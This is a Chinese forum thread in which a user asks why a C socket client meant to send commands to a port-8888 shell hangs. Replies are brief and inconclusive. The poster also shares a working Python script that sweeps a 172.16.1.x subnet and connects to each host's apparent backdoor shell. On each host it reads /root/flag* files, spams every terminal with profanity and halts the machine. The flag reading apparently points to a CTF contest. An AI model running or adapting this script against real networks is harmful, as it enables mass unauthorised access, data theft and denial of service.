dydsaf 发表于 2021-3-21 19:24

c语言编程问题(二)

继上一篇https://www.52pojie.cn/thread-1395628-1-1.html 问题解决后
又继续折腾 又出毛病了 又给我整懵逼了{:301_1001:}

起因:
   在上一篇把代码看懂后又继续折腾 就不想用nc连接端口 想自己用c写一个 然后 就懵逼了.....不知道怎么写 就试着写了一下
   
   代码:
#include <sys/socket.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <stdio.h>

int main(){
    int sock;
    struct sockaddr_in serv_addr;
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(8888);
    serv_addr.sin_addr.s_addr = 0;
    sock = socket(AF_INET,SOCK_STREAM,0);
    connect(sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr));// 连接8888端口
    char *i_buffer = "ls";    //要执行的命令
    char *o_buffer;   
    write(sock,i_buffer,sizeof(i_buffer));
    read(sock,o_buffer,sizeof(o_buffer));
    printf("%s",*o_buffer);
   
}


然后运行之后就卡在这里没动了...


然后用wireshark分析了下数据包 发现 我自己用c写的数据包是这样:

后面多了个%s不知道是个什么鬼


然后再看了看用nc连接的

没有这个%s


然后....就没有然后了.....




用python写了一个可以使用,但c就懵逼呀,求大佬指点一下{:301_974:}
import socket
import time
from threading import Thread
def u(ip):
    s=socket.socket()
    try:
      s.connect((ip,8888))
      s.send(b'cat /root/flag*\n')
      a=s.recv(1025)
      print(ip,a)
      time.sleep(2)
      s.send(b'echo '+ b'fuck '*30+b' > /dev/pts/*\n')
      time.sleep(2)
      s.send(b'halt\n')
    except:
      pass
for i in range(1,254):
    ip = "172.16.1."+str(i)
    Thread(target=u,args=(ip,)).start()








无闻无问 发表于 2021-3-21 19:48

本帖最后由 无闻无问 于 2021-3-21 20:09 编辑

char *o_buffer;
printf("%s",*o_buffer);

是当指针还是取指针数组中一个?

无闻无问 发表于 2021-3-21 19:52

本帖最后由 无闻无问 于 2021-3-21 20:04 编辑

看错了耶,抱歉了

dydsaf 发表于 2021-3-21 20:08

无闻无问 发表于 2021-3-21 19:48
printf("%s",*o_buffer);是当指针还是取指针数组中一个?

还是不行 服务器没有任何数据传过来 感觉在我发过去的时候就出毛病了{:301_973:}

langrenft 发表于 2021-3-21 22:13

感谢分享,我也遇到这个问题,期待大佬解答
页: [1]
查看完整版本: c语言编程问题(二)